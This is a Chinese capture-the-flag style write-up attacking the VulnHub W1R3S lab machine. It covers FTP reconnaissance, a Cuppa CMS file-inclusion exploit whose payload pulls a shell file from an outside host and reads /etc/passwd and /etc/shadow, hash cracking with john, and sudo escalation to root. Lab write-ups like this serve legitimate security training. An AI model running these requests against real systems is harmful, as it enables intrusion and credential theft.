0x00 笔注
靶机下载地址:https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip
靶机攻关讲解视频(billbili上发现的,讲的特别好):https://www.bilibili.com/video/BV1mB4y1j7K6/
靶机下载较慢,建议使用 Free Download Manager 下载。
最后安利一波我写的工具:https://github.com/sh1yan/Lscan
0x01 信息收集
首先使用我自己写的Lscan扫一下C段,看看哪一台是我的靶机,因为虚拟机默认是不知道开机密码的,只能先这样资产定位下。
1
| Lscan.exe -h 192.168.1.1/24
|
默认是信息收集模块扫描,毕竟先定位下机器就可以了。
因为是自己的路由器环境,所以靶机IP肯定是 192.168.1.8 这个了,虽然初步已经显示出来了一些信息,但是我们还是再使用自动化的攻击模块跑一下,便于整个的信息规整。
1
| Lscan.exe -h 192.168.1.8 -satt
|
经过攻击模块的扫描,发现只有web和ftp是有一些信息的,那接下来就先看ftp这里吧。
0x02 信息验证
把ftp目录下的文件下载后,本地查看,发现以下几个信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| [ PATH: content\01.txt ]
New FTP Server For W1R3S.inc
[ PATH: content\02.txt ]
01ec2d8fc11c493b25029fb1f47f39ce SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
[ PATH: content\03.txt ]
logo图标,这里就不展现了
[ PATH: docs\worktodo.txt ]
ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
[ PATH: new-employees\employee-names.txt ]
The W1R3S.inc employee list
Naomi.W - Manager Hector.A - IT Dept Joseph.G - Web Design Albert.O - Web Design Gina.L - Inventory Rico.D - Human Resources
|
我们先来理一下发现的信息。
MD5密文(01ec2d8fc11c493b25029fb1f47f39ce)在 somd5.com 上查询的解密结果为:
1
| This[空格]is[空格]not[空格]a[空格]password
|
BASE64密文(SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==)在站长工具(tool.chinaz.com/tools/base64.aspx)上查询的解密文件为:
1
| It is easy, but not that easy..
|
字母反转这块,我们使用up主视频里的网址(upsidedowntext.com)直接反转下:
1 2 3 4 5
| 原文:ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡ 反转:ı don
原文:....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ 反转:we have a ןot of work to do‘ stop pןayıng around˙˙˙˙
|
以及最后的人员岗位清单:
1 2 3 4 5 6
| Naomi.W - Manager Hector.A - IT Dept Joseph.G - Web Design Albert.O - Web Design Gina.L - Inventory Rico.D - Human Resources
|
通过上述信息并没有什么实质性的进展,唯一的进展可能就是人员岗位清单里的姓名了。。。
接下来继续看web里的内容:
web地址:http://192.168.1.8/
首页是一个默认的页面,那就先跑下目录吧。
经过验证,只有 /administrator/ 路径可用,可以跳转到一个正常功能页面。
跳转路径:http://192.168.1.8/administrator/installation/
那就随便创建一个吧,标红的是我输入的内容,剩下均为默认内容。
看一下创建结果。
看这个情况应该是数据库正常创建成功了,但是管理员这个没有创建成功,那先尝试登录下mysql吧。
= =!登录失败,那算了,反过来推。
通过查看网页的标题头,可以看出来这是使用了 Cuppa CMS ,那就搜搜对应的漏洞吧。
主要通过 exploit-db.com 这个网站进行搜索。
发现有一条漏洞信息,先查看下漏洞详情:
漏洞点出在这个文件的22行,存在一个 REQUEST 形式的文件包含,exp是以下代码:
1 2
| http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt? http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
|
由于是REQUEST形式的包含,首先试了下get形式的利用,没有成功,那就上burp用post数据包验证下漏洞是否可行。
可以看到漏洞是存在的,那我们可以尝试下搞一下第一行的那个利用方式,在此之前说一下up主的方式是通过curl的形式获取的数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| C:\Users\shiyan>curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.1.8/administrator/alerts/alertConfigField.php <style> ....... <div id="content_alert_config" class="content_alert_config"> root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false uuidd:x:107:111::/run/uuidd:/bin/false lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false whoopsie:x:109:117::/nonexistent:/bin/false avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false saned:x:119:127::/var/lib/saned:/bin/false usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false w1r3s:x:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin ftp:x:122:129:ftp daemon,,,:/srv/ftp:/bin/false mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false </div> </div> C:\Users\shiyan>
|
我们使用Python本地构造一个http服务,然后并放置下一句话木马文件。
1
| python3 -m http.server 8001
|
这里就陷入了一个误区,不管咋样操作,都无法无法包含,估计代码有一些限制吧,那就能还一个思路了,爆破账号的hash值。
首先构造下发送一个获取shadow文件的数据包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7::: daemon:*:17379:0:99999:7::: bin:*:17379:0:99999:7::: sys:*:17379:0:99999:7::: sync:*:17379:0:99999:7::: games:*:17379:0:99999:7::: man:*:17379:0:99999:7::: lp:*:17379:0:99999:7::: mail:*:17379:0:99999:7::: news:*:17379:0:99999:7::: uucp:*:17379:0:99999:7::: proxy:*:17379:0:99999:7::: www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7::: backup:*:17379:0:99999:7::: list:*:17379:0:99999:7::: irc:*:17379:0:99999:7::: gnats:*:17379:0:99999:7::: nobody:*:17379:0:99999:7::: systemd-timesync:*:17379:0:99999:7::: systemd-network:*:17379:0:99999:7::: systemd-resolve:*:17379:0:99999:7::: systemd-bus-proxy:*:17379:0:99999:7::: syslog:*:17379:0:99999:7::: _apt:*:17379:0:99999:7::: messagebus:*:17379:0:99999:7::: uuidd:*:17379:0:99999:7::: lightdm:*:17379:0:99999:7::: whoopsie:*:17379:0:99999:7::: avahi-autoipd:*:17379:0:99999:7::: avahi:*:17379:0:99999:7::: dnsmasq:*:17379:0:99999:7::: colord:*:17379:0:99999:7::: speech-dispatcher:!:17379:0:99999:7::: hplip:*:17379:0:99999:7::: kernoops:*:17379:0:99999:7::: pulse:*:17379:0:99999:7::: rtkit:*:17379:0:99999:7::: saned:*:17379:0:99999:7::: usbmux:*:17379:0:99999:7::: w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7::: sshd:*:17554:0:99999:7::: ftp:*:17554:0:99999:7::: mysql:!:17554:0:99999:7:::
|
那就使用下john工具进行爆破下吧。
跑了很长时间,一直没不停止,就手动结束了,毕竟跑出来两个账号了,先尝试第一个 www-data 登录下:
登录失败了,该账号不可用,换下一个吧。
登录成功了,接下来就是提权了。
0x03 主机提权
**知识点补充(sudo提权)**:https://www.cnblogs.com/vir-k/p/16301456.html
原本想利用提权脚本跑一遍的,看看存在哪些可提权的方式,不过随手发现了可以sudo,那就直接sudo提权吧。
1
| w1r3s@W1R3S:/$ sudo -l 查看当前用户可以用 sudo 执行那些命令
|
额,所有权限,那就直接sudo -i 切换了。
可以看到直接切换成功了,剩下的就是找下flag了。
完结~
0x04 总结
为什么又开始打靶场了,主要是想着利用靶场来完善我的Lscan这个内网漏洞扫描工具,同时也是巩固下以前的知识,和学习一些更深一点的原理上的知识。
温故而知新很重要,对了,靶机攻关讲解视频那个up主的视频,真心推荐看看,讲的太好了,特别细,和小迪的视频差不多是一个类型了。
最后再说一下我的想法,为什么网上的这类文章很多了,还需要再重复的边打边写一遍了?网上的其它文章写的再好,也是别人掌握的知识,只有自己动手敲一遍,并且以文本的形式记录下来,才能深刻的记住,毕竟看文章时是顺风顺水的,自己实际打一遍的话,还是会出现各种问题的,这个就是关键。